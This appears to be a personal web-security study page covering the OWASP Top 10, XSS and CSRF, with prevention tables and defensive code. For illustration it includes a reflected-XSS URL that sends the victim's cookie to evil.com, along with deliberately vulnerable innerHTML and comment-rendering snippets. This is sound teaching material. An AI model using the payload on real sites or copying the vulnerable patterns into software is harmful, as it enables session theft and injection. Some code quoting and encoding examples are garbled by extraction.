Web Security - Wyatt's Notes
OWASP Top 10 (2021)
Section titled “OWASP Top 10 (2021)”The OWASP Top 10 is the de facto standard for web application security awareness. The 2021 edition Reflects the shift toward cloud-native architectures and API-driven applications.
| # | Category | Root Cause |
|---|---|---|
| A01 | Broken Access Control | Missing authorization checks, IDOR |
| A02 | Cryptographic Failures | Weak or missing encryption, exposed sensitive data |
| A03 | Injection | Unsanitized input in queries, commands, templates |
| A04 | Insecure Design | Missing threat modeling, abuse case analysis |
| A05 | Security Misconfiguration | Default configs, unnecessary features, verbose errors |
| A06 | Vulnerable and Outdated Components | Unaudited dependencies, known CVEs |
| A07 | Identification and Authentication Failures | Weak passwords, broken session management |
| A08 | Software and Data Integrity Failures | Insecure deserialization, unsigned updates |
| A09 | Security Logging and Monitoring Failures | Insufficient logging, no alerting |
| A10 | Server-Side Request Forgery (SSRF) | Server coerced into making unauthorized requests |
Cross-Site Scripting (XSS)
Section titled “Cross-Site Scripting (XSS)”XSS occurs when an application includes untrusted data in a web page without proper validation or Escaping, allowing an attacker to execute scripts in the victim”s browser.
Types of XSS
Section titled “Types of XSS”| Type | Storage Location | Execution Context | Difficulty |
|---|---|---|---|
| Reflected | URL parameters, form inputs | Response HTML | Medium |
| Stored | Database, user content | When content is rendered | High |
| DOM-based | Client-side JavaScript | Client-side DOM manipulation | Medium |
Reflected XSS
Section titled “Reflected XSS”The malicious payload is included in the immediate HTTP response. The attacker crafts a URL Containing the payload and tricks the victim into visiting it.
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>If the server reflects the q parameter directly into the HTML without encoding, the script Executes in the victim’s browser.
Stored XSS
Section titled “Stored XSS”The payload is persisted in the application (database, comment, user profile) and executed every Time any user views the affected content.
// Vulnerable: storing and rendering user comments without sanitizationconst comment = req.body.comment;db.query('INSERT INTO comments (text) VALUES (?)', [comment]);
// Rendering (vulnerable):// <div>${comment}</div>Stored XSS is more dangerous than reflected XSS because it affects all users who view the Compromised content, not just the user who clicks a crafted link.
DOM-based XSS
Section titled “DOM-based XSS”The vulnerability exists entirely in client-side JavaScript. The payload is manipulated in the DOM Without being sent to the server.
// Vulnerable: reading from location.hash and inserting into DOMconst userInput = document.location.hash.substring(1);document.getElementById('output').innerHTML = userInput;XSS Prevention
Section titled “XSS Prevention”Primary defense: Output encoding. Encode data based on the context where it appears:
| Context | Encoding Required | Example |
|---|---|---|
| HTML body | HTML entity encoding | <script> → <script> |
| HTML attribute | Attribute encoding | " onclick=" → " onclick=" |
| JavaScript | JavaScript encoding | </script> → \x3c/script\x3e |
| URL | URL encoding | javascript: → javascript%3A |
| CSS | CSS encoding | expression() → \65xpression() |
// Using a templating engine with auto-escaping (safe)// React/JSX auto-escapes by defaultfunction UserProfile({ username }) { return <div>Hello, {username}</div>; // username is escaped}
// Using DOM APIs safelydocument.getElementById('output').textContent = userInput; // safe, no HTML parsing// vsdocument.getElementById('output').innerHTML = userInput; // UNSAFEContent Security Policy (CSP) is a secondary defense that mitigates the impact of XSS by Restricting which scripts can execute.
Cross-Site Request Forgery (CSRF)
Section titled “Cross-Site Request Forgery (CSRF)”CSRF tricks an authenticated user into executing an unwanted action on a web application where they Are already authenticated. The attack exploits the browser’s automatic inclusion of credentials (cookies) with requests.
CSRF Attack Flow
Section titled “CSRF Attack Flow”sequenceDiagram participant V as Victim participant A as Attacker Site participant B as Bank (Victim's account)
V->>B: Login to bank (session cookie set) V->>A: Visit attacker page A->>B: GET/POST /transfer?to=attacker&amount=10000 (automatic cookie send) B->>B: Execute transfer (valid session) B->>A: Redirect to confirmation pageCSRF Prevention
Section titled “CSRF Prevention”| Defense | Mechanism | Effectiveness |
|---|---|---|
| SameSite cookie attribute | Browser does not send cookies on cross-site requests | Strong (Lax/Strict) |
| CSRF token | Hidden form field validated on submission | Strong |
| Custom request header | JavaScript sets header, cross-origin cannot | Strong (API-only) |
| Requiring user interaction | Re-authentication for sensitive actions | Strong |
SameSite cookies are the primary defense for modern applications:
Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnlyCSRF tokens for legacy applications:
<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="a1b2c3d4e5f6" /> <input type="text" name="amount" /> <button type="submit">Transfer</button></form>The server generates a cryptographically random token per session (or per request), includes it in Forms, and validates it on submission. The token must be tied to the user’s session.
Custom headers for API endpoints:
// Fetch API includes custom headers — cross-origin requests require CORS preflightfetch('https://api.example.com/transfer', { method: "POST'', headers: { "Content-Type': "application/json'', "X-CSRF-Token': "a1b2c3d4e5f6'', }, credentials: "include',});Cross-References
Section titled “Cross-References”- OWASP Top 10 lists the most critical web application security risks that this broader overview contextualises.
- Cryptography provides the encryption and hashing mechanisms used to protect web communications and data.
- Network Security covers the transport-layer protections (TLS, firewalls) that secure web traffic.